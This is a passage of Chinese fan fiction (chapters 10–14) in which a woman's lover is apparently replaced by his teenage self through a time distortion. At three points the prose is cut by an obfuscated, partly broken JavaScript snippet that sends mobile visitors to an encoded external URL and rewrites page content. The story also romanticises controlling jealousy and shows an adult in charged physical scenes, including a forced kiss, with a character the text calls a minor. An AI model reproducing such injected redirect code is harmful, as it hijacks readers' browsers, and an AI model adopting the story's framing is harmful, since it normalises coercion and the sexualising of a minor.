他换下睡衣,穿了一套深色的衣服,太刀背在身后,整个人的气质骤然改变,从昨日那个温柔体贴的爱人,变成令人敬畏的特级咒术师,浑身上下透着一股令人无法忽视的凌厉感。 双叶茜搂着被子坐在床上,微微撇嘴,只觉那份好不容易才找回来的安心感在逐渐流失。 乙骨忧太走到卧室门口,又像是忽然想起什么,停下脚步折返回来:“对了,我已经帮你请好假了,茜今天就待在家里吧?” 他用指腹轻蹭了两下她因刚睡醒还微热着的脸颊:“你的脸色还是不太好,眼睛也有点肿,这样去上班,我会担心的。” 乙骨忧太的安排细致周到,让双叶茜说不出任何反驳的理由。 经历了那么多事情,今天她也的确没有太多上班的心情,便点点头,接受了他的安排。 “等我回来。”乙骨忧太最后轻轻揉了揉她的头发,不再停留,转身离开了卧室。 玄关处传来轻微的关门声,随后,屋子里彻底安静下来,只剩下她一个人。 双叶茜没了困意,起身走向厨房,果然看到灶台上还温着乙骨忧太做好的早饭,旁边还贴着一张便签,上面画着一个笑着的黑色小人,还有熟悉的笔迹: [记得要吃完,我会回来检查的。] 她安静地吃完早饭,收拾好碗碟。 诺大的公寓里寂静无声,突如其来的独处让她很不适应,她想找点事情打发时间,便走到客厅坐在沙发上,打开了电视。 电视频道来回切换,要么重复播报的晨间新闻,要么是无聊的购物广告,她连续换了好几个台都找不到想看的,有些意兴阑珊,便又再次关上了电视。 她打算再回去睡个回笼觉。 “叮咚——” “叮咚——叮咚——” 门铃声却毫无预兆地响起。 双叶茜的心猛地一跳。 难道是忧太,任务这么快就结束了? 可是忧太不是才刚出门不过一个小时吗,而且他不是有家里的钥匙吗? 她站在客厅,顾虑和不安涌上心头。 知道他们地址的人寥寥无几,不可能是朋友或者同事,她跟乙骨忧太最近也没有网购什么东西,更不可能是快递。 双叶茜放轻脚步,慢慢挪到门边,下意识地屏住呼吸,将眼睛对准猫眼往外看。 门外走廊的光线有些昏暗,但也足以让她看清来者的模样。 只是下一秒,她浑身的血液就凝固了。 猫眼狭窄的视线里,少年青涩的脸庞清晰地展现,他安静地站在门外,微微垂着头,额前细碎的黑发遮住眼睛,让她看不太清楚他的表情。 他似乎注意到双叶茜的视线,忽然抬起头。 他们的视线就这样隔着门板,在猫眼里直直对上了。 少年的嘴角缓缓勾起一个弧度,笑容干净腼腆,但在此刻,却只让她感到一股冰冷的寒意。 “我回来啦。”他歪头看她,清朗的声线里带着疑惑,“茜,你怎么不给我开门?” 11. 第十一章 没得到你的回答,少年清澈的眼里写满了无辜和疑惑,又偏头问道:“这里不是我们的家吗?” 双叶茜的呼吸骤然停止,猛地向后倒退了好几步,又害怕自己惊呼出声,赶忙捂住嘴巴,不敢发出任何声音,假装家里无人。 “叮咚——” ”叮咚——叮咚——” 门铃声还在此起彼伏地响起,每一声都像是敲击在她的心脏上。 但忽然,门外安静了下来。 这突如其然的寂静反倒比持续不断地门铃声更令人心悸,双叶茜僵在原地,一动也不敢动。 几秒后,乙骨忧太的声音响了起来:“…不在家吗?” 对,不在家! 家里没人! 她在心中默默回答着,迫切地希望乙骨忧太赶紧离开。 门外陷入一片死寂,久久没有动静。 这让双叶茜紧绷的神经稍稍放松些许。 他是不是放弃了? 但这个念头才刚升起,便被门外再度响起的声音给击碎了。 “但我刚刚好像听到电视的声音了,总不可能是我听错了吧,我的听觉一向很好的。” “茜,别躲了。” 门外乙骨忧太的声音温和极了,甚至带着哄劝的意味,他轻敲了几下门:“我知道你在家,开门吧,让我回家好吗?” 双叶茜浑身一颤,跌跌撞撞地跑进卧室,反手锁上门,在床头柜上摸到手机,手指颤抖着划过屏幕,拨打了那个熟悉的号码。 听筒里传来漫长的忙音。 “嘀——嘀——嘀——” 无人接听。 她再次拨通,依旧是无人接听。 紧接着,双叶茜的手机屏幕忽然亮起,社交软件里那个名为[yuuta]的人给她发来了信息。 【yuuta:茜,为什么不理我,为什么不开门呢?】 【yuuta:你好像很害怕我,为什么?】 看着这两条信息,双叶茜犹豫良久,才下定决心回复。 【akane:你是谁?】 对面的消息几乎是秒回。 【yuuta:我是忧太啊,茜,你不记得我了吗?】 【yuuta:这会让我很伤心的,这太不公平了,明明关于你的一切,我都记得很清楚。】 【yuuta:我记得你刚转学来时,被五条老师推到讲台上,紧张得同手同脚的样子。】 【。yuuta:我记得你第一次出任务时崴到脚,我背你回来,你趴在我背上哭,眼泪把我的制服都浸湿了。】 【yuuta:还有你生日那天,我们在天台上看星星,你闭上眼睛许愿,说想跟永远在一起。】 【yuuta:茜,你都忘记了吗?】 乙骨忧太一条接一条发来信息,让那些记忆随着他的文字浮现在双叶茜的脑海中。 刚入学时,她作为插班生站在陌生的教室里,五条悟不由分说地把她推到讲台前,正对着下面坐着未来将成为你同伴的同学们。 双叶茜结结巴巴地自我介绍,余光却忽然瞥见教室后门不知何时出现一个人影。 是乙骨忧太。 他穿着白色制服,目光平静地落在双叶茜身上,无声为她鼓励。 第一次执行任务时,双叶茜因经验不足,躲避咒灵攻击时不小心崴到了脚,任务虽然完成了,但却无法自己走回去。 乙骨忧太果断在她面前蹲下身,让她趴在他单薄却十分可靠的背上。 回学校的路很长,他的步伐却很稳。 强撑出来的坚强在信任的人面前彻底瓦解,双叶茜的眼泪不知怎么就掉了下来,温热的液体浸湿乙骨忧太的肩头,他的手臂收得更紧了些,随后低低道。 “以后不用再出任务了。” 转学后的第一个生日,乙骨忧太神秘地把双叶茜带到天台,从背后拿出一个插着蜡烛的蛋糕。 烛光在他脸上跳跃,映得他眼睛亮晶晶的,带着罕见的期待和紧张。 “生日快乐,茜。” 双叶茜惊喜地捂住嘴,在乙骨忧太的催促下闭上眼睛许愿。 那一刻,她什么宏大的愿望都没有想,只有一个无比纯粹且强烈的念头。 ——她想和乙骨忧太永远在一起。 手机屏幕的光映在双叶茜的脸上,她的指尖在手机键盘上悬停下来,那些想要质问的话语忽然是那么苍白无力,让她一句话也说不出来。 下一秒,手机响起。 是[yuuta]打来的视频电话。 双叶茜看着屏幕上不断跳动着的头像。 少年时期的乙骨忧太站在樱花树下,对她露出腼腆的笑容,那张脸上满是赤诚的爱意。 她摁下了接听键。 屏幕亮起,少年清隽的脸庞出现在眼前,背景熟悉的楼道。 他似乎没料到双叶茜真的会接通,眼睛不可置信地微微睁大,随即那双眼眸便迅速汇聚起喜悦。 和一点点委屈。 “茜。”少年的声音通过听筒传来,“你终于肯见我了吗?” 双叶茜没有立刻回复,只是注视着手机屏幕里的少年,看着那双黑眸里盛满的喜欢。 她的心脏像是被什么东西轻轻攥了一下,酸涩极了。 “嗯。”她应了一声。 乙骨忧太放缓声音,轻声哄着,几乎是在哀求:“开门好不好?我很想见你。” 双叶茜沉默了半晌,才又“嗯”了一声。 视频通话被挂断。 双叶茜整理了一下头发和睡衣,深吸一口气走到大门前,手指落在门把手上,冰凉的触感唤起她的一丝理智,让她有些迟疑。 但最终,她还是用力按了下去。 “咔哒。” 门锁转动的声音在一片寂静中显得格外突出。 乙骨忧太就站在门外,一眨不眨地看着她,仿佛在害怕只是一眨眼,她便会消失。 他仔细看着双叶茜,视线最后落到双叶茜泛红的眼眶上,蹙眉道:“你哭了?” 不等双叶茜回答,乙骨忧太上前一步,伸手用指腹轻柔地擦拭去双叶茜眼角的泪水,语气满是懊悔:“对不起,茜,是我让你难过了吗?” “都怪我,我不应该把你一个人放在家里的。” “明明说好了要一直在一起,我怎么可以…” 双叶茜却摇了摇头,抬手轻覆上乙骨忧太的手背,打断了他的话。 乙骨忧太浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513715|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一震,眼中闪过难以置信的惊喜。 “没有,我只是有点累了。”双叶茜的目光越过乙骨忧太的肩膀,望向楼道外明媚的阳光,“屋里有点闷。” 乙骨忧太立刻反手握住她的手,紧攥在掌心:“那我们出去走走?” 他仿佛早就在等待着这个契机:“今天阳光很好,出去多走走也是好事,我知道附近开了一家不错的甜品店,你之前跟我说你很喜欢吃可丽饼对吧?我们去坐坐怎么样?” 双叶茜任由乙骨忧太牵着,点了点头:“好。” * 甜品店里的装修精致温馨,空气里弥漫着糖和奶油的香甜味道,还有面包的气息。 乙骨忧太为双叶茜点了一份草莓味的可丽饼,又点了一杯牛奶,自己则只是要了一杯最简单的咖啡。 双叶茜抿了一口牛奶,无声地看着乙骨忧太,对方拿着小勺在杯子里搅动着,清澈的黑眸始终都看着他,不肯移开分毫。 好像一只患有严重分离焦虑症的小狗。 只要主人一离开自己的视线,哪怕只是一小会,也会焦虑到不行,严重情况下甚至有可能开始伤害自己。 双叶茜低下头,小口吃着可丽饼。 甜腻的味道在口中化开,她却品出了一丝苦涩。 从甜品店出来,乙骨忧太又要带着双叶茜去做别的事情,但双叶茜却在公园的长椅上坐下,指着不远处的小摊,理直气壮地说:“忧太,我想吃冰淇淋,你可以给我买嘛?” 她知道乙骨忧太会答应下来。 无论是那个时间的乙骨忧太,都会满足双叶茜的所有愿望。 “好,那你就坐在这里等我,好吗?”乙骨忧太温和道,随后便快步走向不远处的小摊。 周围瞬间安静下来,只有风吹过树叶的沙沙声。 双叶茜缓缓从口袋中拿出手机,飞快地解锁,点开了相册。 她像是做好所有准备一般,深吸了一口气,开始快速滑动屏幕寻找着与爱人的合影。 他们一起拍的大头贴、搞笑自拍、互相拍下的丑陋睡颜… 一张、两张、… 她曾经和自己的爱人拍过很多合照。 可却全都没了。 一张都没有。 她咬紧下唇,不信邪地更快滑动屏幕,继续往下翻照,指尖越来越快。 相册里所有的合照,都替换成了与少年时期的乙骨忧太的合影。 她的手指在一张照片上停了下来。 照片里,穿着白色校服的的乙骨忧太从背后环住双叶茜的腰,下巴搁在她肩上,对着镜头露出青涩而满足的笑容,身后所有的背景都与你和你爱人的家完全吻合。 仿佛从始至终,与双叶茜相伴的都是他。 双叶茜缓缓抬起头,望向马路对面。 少年时期的乙骨忧太站在小摊前,似乎正在耐心地等待制作。 他若有所感地忽然回过头,隔着川流不息的马路,对双叶茜露出了干净温柔的笑。 一个被遗忘许久的,来自五条老师的忠告今天忽然清晰地浮现在双叶茜的脑海里,解答了她这两日所有的疑惑。 ——“茜,你的能力很特别哦?说不定能影响到时空的稳定,导致时空错乱呢。” 12. 第十二章 冰淇淋在阳光下融化得很快。 黏腻的糖水滴在手上,双叶茜还没反应过来,手就被乙骨忧太拉了过去。 乙骨忧太拿出手帕,垂头认真擦拭。 糖水明明只是滴在手背,乙骨忧太却故意拿着手帕,将双叶茜的手指来回擦拭了一遍,连指缝都不放过。 他动作轻柔,指腹不断蹭着双叶茜的手心,甚至还要顺着她的掌心往手腕内部滑去。 不像是在擦脏东西,反而像是在调情。 双叶茜抖了抖,连忙收回了手,正要开口说话,却见近在咫尺的少年愣了一下,拿着手帕的手悬在半空中,表情也变得委屈无措。 像是因为被推开而受伤了一样。 很明显,乙骨忧太极其害怕双叶茜拒绝他,也害怕被丢下。 心底的揣测再次得到验证。 果然,这个乙骨忧太就是来自过去的他。 那个孩童应该也是一样的。 或许是因为她做了那个噩梦后,有了太强烈的情绪起伏,无意识地促成了时空错乱吗? 双叶茜垂下眼眸,内心思绪万千。 她觉得自己应该去找五条悟老师商量一下。 如果说还有谁能理解这种时空错乱的异常状况,除了那位最强咒术师五条悟之外,双叶茜想不到其他人了。 她没有再犹豫,主动用刚刚抽回的手揽住乙骨忧太的手臂。 亲呢的动作瞬间驱散走少年脸上的所有委屈,取而代之的是受宠若惊的惊喜。 理清原因之后,双叶茜很轻松地便接受了现实。 反正都是她的爱人,都是乙骨忧太,这个最深刻的本质是不会变的。 “忧太。”双叶茜像过去一样撒娇,“我想回学校看看,你能陪我一起嘛?” 面对双叶茜的撒娇,乙骨忧太几乎没有任何抵抗力,以往如此,现在亦是。 他立刻答应了下来,拦下一辆出租车,两个人一起坐了上去。 车内空间狭小,双叶茜隐约能感受到司机从后视镜投来的目光,让他如芒在背 也不怪司机。 一个穿着校服的少年和一个职业装扮的女性如此亲密,任谁都会觉得怪异。 临到快下车,乙骨忧太刚准备付款,司机却忽然转过头,快速将一张纸条塞给乙骨忧太,憋出来一句:“孩子,这是我的手机号,如果你需要帮助的话,可以联系我。” 双叶茜:… 她其实觉得自己才是需要帮助的那个。 两人很快便回到了学校。 双叶茜目的明确,径直朝着教师办公室的方向走去。 乙骨忧太则跟在她身后,目光始终都温柔地盯着她,仿佛周遭一切都与他毫无干系。 推开办公室的门,里面却空无一人。 双叶茜并不意外。 身为特级咒术师,五条悟要远比其他咒术师忙很多,甚至一天都只能睡四个小时,不是出任务就是在出任务的路上。 但没见到五条悟,她还是有些失落,便索性拿起手机,给五条悟发去信息。 [akane:五条老师,您最近有时间吗?] [akane:最近发生了一些事情,我想跟您见一面。] 对面大概在忙,迟迟没有回应,双叶茜叹了口气,只能无奈收回手机,思考着该怎么跟身旁这个来自过去的乙骨忧太相处。 “明太子。”却忽然听到教室办公室门口传来熟悉的声音。 狗卷棘站在教室办公室门口,穿着一身白色的运动服,高领一如既往遮住下半张脸,只露出一双紫色眼瞳。 他挥了挥手上的任务报告,示意自己是来做什么的。 “狗卷前辈!” 双叶茜立刻上前几步:“你知道五条老师去哪里了吗?我有很重要的事情想同他商量。” 狗卷棘将任务报告放到五条悟的桌面上,拿出手机飞快地打字,又将手机屏幕递到双叶茜面前。 [五条老师去京都了,短期不会回来。] 京都… 怎么会这么巧。 双叶茜失落地点了点头,只能被迫接受现实。 她叹了口气,正要拉着乙骨忧太离开,跟狗卷棘告别,手机屏幕却又怼到了她面前。 [你遇到麻烦了吗?如果需要帮助的话,可以告诉我。] 紫色的眼眸认真地注视着双叶茜,丝毫不像是在玩笑的样子。 似乎是担心双叶茜不相信,狗卷棘又比出了一个“交给我”的姿势,还像双叶茜竖起大拇指,拍了拍她的肩膀,让她安心下来。 不掺任何的善意让双叶茜心中一暖,她正要表达感谢,一只骨节分明的手却突然搭上了她的肩膀。 “谢谢你,狗卷前辈。”乙骨忧太强势地挤到双叶茜和狗卷棘中间,脸上挂着一抹浅笑,“如果茜遇到了困难,我会帮助她的,多谢关心。” 虽然没有明说,但乙骨忧太言语中的占有欲却快几乎快要凝成实质,还带着几分微妙的醋意。 这让双叶茜有些错愕。 似乎每一次面对狗卷棘时,乙骨忧太都会展现出这种过度的警惕,就像是担心自己的东西被别人抢走一样。 哪怕是成年后的乙骨忧太也是如此。 有次她正在和成年后的乙骨忧太约会,恰好在街头和狗卷棘偶遇,对方出于前辈对后辈的关切,很自然地将从别处带来的伴手礼给她,还附带了一个可爱的眨眼姿势。 当时的乙骨忧太也挂着和身旁少年如出一辙的微笑,极其自然地接过了伴手礼,并同她一起和狗卷棘道了谢,却在回家后将她压到床脚,一次又一次地问她。 “茜,我会给你买所有你想要的东西,所以以后不要再接受别人的好意和关切了,好吗?” 如果她不答应,乙骨忧太就不肯放过她。 之后双叶茜实在受不住,只能说好,后者才满意地放过她,并在第二天就把那份伴手礼仍在了垃圾桶里。 回忆伴着熟悉的窒息感涌来。 双叶茜抿了下嘴,却没有感到丝毫抗拒。 跟乙骨忧太在一起那么久,她早就习惯了乙骨忧太病态般的占有欲,已经达到了纵容的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513716|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步。 甚至有些时候,双叶茜还会故意刺激乙骨忧太。 比如现在。 一个微妙的念头忽然在双叶茜的心中升起。 她挣开乙骨忧太揽着自己肩膀的手,笑意盈盈地注视着狗卷棘,感激道:“真的非常感谢您,狗卷前辈!如果之后遇到困难,我一定会联系你的。” 果不其然,在双叶茜说出这句话之后,她身旁的目光瞬间变得无比沉重。 她的手腕也被乙骨忧太握住。 狗卷棘貌似感觉到这微妙又紧张的氛围,对着双叶茜点了点头,比了个“自己小心”的手势,便转身离开,将空间留给他们二人。 办公室里再次只剩下两个人。 “茜。” 乙骨忧太的声音贴着双叶茜的耳垂响起,他拉住双叶茜的手腕,反手将她压在五条悟道办公桌上,将大腿挤在她的双腿中间,额头与她相抵,声音里饱含委屈。 “你是故意的。” 双叶茜的后腰抵着冰凉的桌沿,让她产生一种令人兴奋的背德感,虽然以前她也曾同乙骨忧太在这里做过一些背德又刺激的事情,但那已经是他们双方成年毕业后了。 现在又面对上青涩的少年,她心中不禁又产生了某种微妙的兴奋感。 她没回话,只是看着乙骨忧太,眨了眨眼,像是不知道他在说什么一样。 乙骨忧太的嘴唇抿成一条平直的线,脸上写满了不悦,固执又怄气地盯着她,明明已经吃醋到不行了,却连一句控诉的话也不说,像是在同双叶茜闹别扭,也不让她动。 看着乙骨忧太这幅样子,双叶茜的内心非但没有任何愧疚,反而有种恶作剧得逞的恶劣快乐。 她已经很久没见到乙骨忧太这样了。 如果是成年后的乙骨忧太,只会一句废话都不跟她说,直接用更激烈的实际行动让她哭着喊道歉。 一点都不好玩。 双叶茜故意伸出一只手指,戳了两下乙骨忧太的紧绷胸口:“怎么不说话了,忧太生气了?” 乙骨忧太的身体反倒因为她的动作绷的更紧了,他抓住双叶茜的手,让她没办法再继续在自己身上捣乱:“你明明知道,还要问我。” “知道什么?” 双叶茜继续装傻,嘴角却控制不住地上翘:“知道我们忧太是小醋包?” “哪怕狗卷前辈只是好心,哪怕我只是礼貌的道谢,小醋包也要吃醋,不允许我跟别人有过多交流,也不允许我接受别人的好意。” 她故意拖长语调,用另一只还在自由的手攀上乙骨忧太的脖颈,指尖若有若无地划过他的喉结,暧昧道:“好霸道哦,这么不讲理啊。” 乙骨忧太的呼吸骤然粗重起来,终于忍不住低下头,手臂环上双叶茜的腰肢,将她更紧地压向自己,想向她索要吻。 少年的行动充满了急躁和不安,轻而易举就能被看穿,也能被阻挡。 双叶茜躲开乙骨忧太的吻,用手抚上他的唇,然后狡黠地对乙骨忧太眨了眨眼,像坏事做尽的小狐狸一样,坏心眼道:“我不跟未成年人接吻。” 13. 第十三章 “我不跟未成年人接吻。” 急于索取的少年瞬间僵住,随后露出了委屈至极的表情,黑眸湿漉漉地望着双叶茜,像一只被主人拒绝亲密的小狗,可怜兮兮的。 他不甘心地将双叶茜的手摁住,双眼紧盯着她的唇瓣,眼中透着止不住的渴望,身子也越来越往双叶茜身上压,两人的距离越来越近。 意识到不对劲,双叶茜试图从乙骨忧太的挣脱,可对方身为特级咒术师,力气又岂是她能与之对抗的。 她的两只手都被摁住,双腿也被乙骨忧太的两条大腿牢牢锁住,这下是当真没办法逃走了。 自己惹的祸,只能自己负责。 双叶茜认命般接受乙骨忧太即将到来的吻,心里甚至也不由得带上几分雀跃和期待。 不过她又同时产生了一个怪异的想法。 如果她真的跟少年时期的乙骨忧太接吻了,那她到底算不算出轨啊? 办公室里的氛围变得越来越暧昧,两人的呼吸交织在一起,变得愈发黏稠。 但就在这时—— “叩叩叩。” 一阵短促又有力的敲门声瞬间打破了暧昧的氛围,让两个人都是一僵。 乙骨忧太的动作猛然顿住,眼中的迷离也顷刻间散去,他咳嗽了两声,极不情愿地退开。 双叶茜也赶忙借此机会站直身体,快速整理了微乱的发丝和衣领,也清了清嗓子,努力让声音听起来正常:“请进。” 门被从外推开。 男人站在门口,顶着一头标志性的海胆头,五官端正,鼻梁高挺,唇线习惯性地抿成直线,平静地望过来。 是伏黑惠。 “惠?”双叶茜努力挤出一个自然的笑容,声音里还带着一丝慌乱,“你怎么来了?” 作为同级生,双叶茜曾经和伏黑惠的关系还不错。 在刚转学过来的那段时间,由于双叶茜过分不适应环境,又加上她在同级生中是实力最差的,使得她十分沉默和自闭。 即使另外两个同窗向双叶茜表明好意并展现出热情,她也不太敢同他们有过多接触。 那时,伏黑惠的冷淡反而成了优点。 他不会展现出过多热情,但却会在训练课上主动邀请和双叶茜组队,并主动指导她,给她建议,甚至还会在她紧张的时候,主动招出玉犬给她摸。 “抱歉,打扰了。”伏黑惠冷冷出声,声音听不出什么情绪。 他视线淡淡扫过屋内两人。 穿着一身西装的女人面色潮红,头发也乱糟糟的,神色显而易见的慌乱,却佯装正经地要与他交谈,只是耳垂上还有未卸去的粉红。 屋内的另一个人看上去则冷静多了,只是脸上有稍许不悦。 他的衣衫同样不整,气息也十分混乱,隐约能感觉到他的喘气声过快了些。 “我来找五条老师。” 伏黑惠垂下眼,直直地向五条悟的办公桌前走去,又将一沓文件放了上去,好像无知无觉,不知道这里发生了什么一般。 但却在经过女人时,视线微微往她那边瞟了一下。 女人心虚得不敢与他对上视线,咳嗽两声将头撇到一旁。 也正因如此,伏黑惠能清晰看到女人白皙的脖颈完整展现在他面前,而同时因身高差距,他隐隐能看到女人锁骨之下的风景。 …好涩。 伏黑惠悄然移开视线。 “惠还有什么事情吗?”乙骨忧太似乎意识到了什么,忽然伸手将双叶茜拉到身后,扬起一如既往的笑,“我们也是来找五条老师的,但他好像有事外出了,暂时无法回来。” “如果惠没有什么事情的话,那我们就先走了。” 以前也是这样。 只要有人想接近双叶茜,乙骨忧太就会想尽一切办法将别人隔离开。 伏黑惠的视线落在乙骨忧太抓着双叶茜手腕的那只手上,又很快收回视线,摇了摇头,只道了一句:“既然五条老师不在,那我之后再来。” 他本也不是多爱与别人交流的性格。 几人从办公室里一同出来,却朝着不同方向分开。 双叶茜本想回头同伏黑惠道一声别,乙骨忧太却竟然荒唐地将手搭在她的后脑勺上,硬生生给她的头摁着往前看,不让她回头。 双叶茜:? 她摸不着头脑,一头雾水地正要询问,身旁的乙骨忧太却阴阳怪气地问了她一句。 “茜和惠的关系好像很好呢?” 双叶茜心里咯噔一下。 完了,这人吃醋了。 以前乙骨忧太吃醋时的语气,都是这种腔调。 “哪有哪有。”她赶紧打马虎,“只是普通的同期而已,忧太你知道的,我跟你的关系最好了,其他人都是普通关系,普通同学。” “普通关系啊。”乙骨忧太笑眯眯地重复她的话,不紧不慢地反问她,“只是普通关系,茜还会想着在刚刚那种时候,还要回头跟他道别吗?” “到底是要道别,还是要解释?” 他字里行间都透着酸涩和不满。 乙骨忧太嘴里的“那种时候”,大概是指他们二人刚刚在办公室里险些亲吻,却被伏黑惠打断了。 他在意的是,在刚刚经历过那样的氛围之后,双叶茜的注意力居然还能被伏黑惠分散。 真是莫名其妙的占有欲。 “我只是觉得直接那样走掉,有点不太礼貌。”双叶茜无奈地解释,只觉得一个头两个大。 这个时候她就开始想念成年后的乙骨忧太了。 虽然他也是个醋精,但他好歹会分场合,不像还处于青涩时期的少年,吃醋根本不讲理由。 “不礼貌?” “那什么样的行为才算礼貌,难道要把惠拉回…” 麻烦死了。 双叶茜直接用行动制止了他的话。 她踮起脚,又伸手摁住乙骨忧太的头,将他的头往下压,仰头闭眼。 一个简单的吻落在了乙骨忧太的嘴唇上。 这个时候的少年还没有与双叶茜有过什么亲密接触,基本上都和双叶茜保持着正常的距离。 被这么一亲,他的脑子“轰——”的一下炸开了,整张脸都变成了红色,话也不会说了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513717|186196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是重复着一个简短的音节,眼睛直勾勾地盯着她。 “干嘛?”双叶茜倒是觉得他这个样子可爱许多,故意道,“你刚刚不是想亲我吗?现在我主动亲你了,你不开心?” 乙骨忧太像机器人一样机械地摇了摇头。 双叶茜继续问:“那我们可以走了嘛,你还要问我什么吗?” 乙骨忧太再次摇头。 看着少年一言不发,俨然已经害羞到极致,双叶茜在心中偷笑。 果然还是这个时候的乙骨忧太好玩。 只是简单调戏一下,便受不了了。 她哼哼两声,转身便要走,却不料手腕突然被身后人拉住。 一阵天旋地转,双叶茜还没反应过来呢,便已经被乙骨忧太摁在了角落里。 “…你在拿我开玩笑。” 少年摁住她的两只手,将她两只手压在墙上,另一只手臂则撑在她身旁的墙上,将她完全圈禁在这小小的空间里。 他离得很近,头也低了下来,额前的碎发几乎快要触碰到双叶茜的额头,眼睛也盯得很紧,一眨不眨地盯着双叶茜看。 一副不管你说什么,这次我都不会放过你的样子。 双叶茜眨了眨眼,忽然意识到情况好像有些不妙。 她干笑两声:“哪有,你误会了,忧太,我是真的想跟你接吻。” “想跟我接吻?”乙骨忧太重复着双叶茜的话,轻笑了一声。 一直撑在墙上的手猛地移到双叶茜的后脖颈处,迫使她被迫将头仰起,朝着乙骨忧太的唇上主动贴了上去。 空气瞬间凝固,只能听到水声和两人越来越快的呼吸声。 少年像是要把双叶茜嘴唇里所有的空气都给抢夺走,在她的口腔里来回扫荡,不像是在亲吻,反而更像是要把她吞吃入腹。 双叶茜本能地想要逃跑,但身后就是冰冷的墙壁,她的手也被牢牢摁住,根本无从逃离。 她只能被迫接受这个深吻。 直到双叶茜越来越呼吸不过来,视线都开始模糊时,乙骨忧太才放过了她。 她赶忙大口呼吸空气,又挣脱开乙骨忧太的手,拍在自己胸腔上给自己顺气,又翻了个白眼给乙骨忧太,抬腿就要踹他,却被轻松躲过。 乙骨忧太却像是还觉得不够,又再次压了下来,用手摩挲着双叶茜的脸颊,另一只手则放在她的脖颈上,礼貌又小心翼翼地问:“茜,还可以再亲吗?” 双叶茜:“…” 双叶茜:“不可以。” 得到毫不留情的拒绝,少年露出像小狗一样湿漉漉的眼神,可怜兮兮地注视着双叶茜,试图以这样的方式换取她的同情,得到又一个吻。 但很可惜。 双叶茜:“你装可怜也没用。” 她推开乙骨忧太,整理了一下被弄乱的衣服和头发,拿起手机想看看现在几点了,却看见锁屏界面有几条未读信息。 [satoru:怎么了?] [sataru:难道是我的亲亲学生想老师了嘛~] 后面还跟了一个五条悟最爱用的骚包wink表情包。 14.第十四章 双叶茜正要回复,手机却被一只骨节分明的手给抽走。 “茜。”乙骨忧太的声音贴着双叶茜的耳朵响起,还带着没有散尽的微喘。 他瞥了一眼亮着的屏幕,又将屏幕摁灭,放到自己口袋里,脸上有些不悦,“你跟我在一起的时候,怎么总是想着别人。” 双叶茜一时语塞:“那是五条老师,连他的醋你也吃?” 乙骨忧太眨眨眼睛,没回答,却握住她的手,指尖在她掌心里挠了两下,用行动坦荡表达。 ——是的,我就是吃五条老师的醋。 “好好好,那我不看了。”双叶茜哭笑不得,晃了晃被乙骨忧太紧握住的手,“反正手机在你那里,我想看也看不了。” 听到她服软,乙骨忧太脸上的不悦才逐渐散去。 他牵着双叶茜的手,转身向宿舍那边走去,脸上扬起笑,声音愉悦:“我们回家。” 上一回乙骨忧太带双叶茜回家时,她还感到强烈恐惧。 但自从知道时自己的能力导致时空错乱,身旁这个乙骨忧太也不是什么怪东西,只是过去的爱人后,她的害怕就烟消云散了。 她坦然跟上乙骨忧太的脚步。 果不其然,宿舍里的布局仍然与记忆中的家别无二致,充满两人生活的痕迹。 刚一进门,乙骨忧太就轻车熟路地钻进厨房,在冰箱里翻找出食材,坚持要准备午饭。 见他拿菜和握菜刀的姿势都十分不熟练,生涩至极,双叶茜本想帮忙,却被乙骨忧太硬生生摁回到沙发上,还把电视遥控机塞到她手里。 “做饭这种事,交给我就行。”他坚持道。 看来不管是哪个时候的乙骨忧太,都固执地坚持不让她沾手家务的原则。 双叶茜只好无奈地窝在沙发里,忽然想起早晨答应过另一个乙骨忧太要等他回来一起吃午饭。 这应该不算失言吧? 她一边用遥控器来回切换频道,一边暗暗地想。 跟少年时期的乙骨忧太一起吃午饭,也应该算她兑现了承诺。 成年后的那个他之后应该不会找她算账吧? 想起那令人面红耳赤的算账方式,双叶茜缩了缩脖子。 过了有一会,午餐才终于在乙骨忧太的努力下成功被端上桌。 三菜一汤,卖相称不上完美,但足以看出少年的认真。 双叶茜在餐桌前坐下,正准备拿起碗筷吃饭,却发现乙骨忧太站在旁边不肯入座,眼睛亮晶晶地望着她,等待着她的评价。 他就像只正等待着主人夸奖的大型犬,背后无形的尾巴也在期待地摇动。 “很好吃!” 双叶茜拿勺子舀起一口汤,毫不吝啬夸奖。 事实上,比起饭菜的味道,乙骨忧太的心意才更让她心动。 得到肯定,乙骨忧太的眼睛立刻弯了起来,脸上绽放出灿烂的笑。 他这才在双叶茜对面坐下,却顾不上自己用餐,不停地给她夹菜,目光也紧紧追随着她。 就好像光是看着她吃,乙骨忧太的内心就已经十分满足了。 一顿饭下来,乙骨忧太几乎都没吃几口,倒是双叶茜被他投喂得不停在吃。 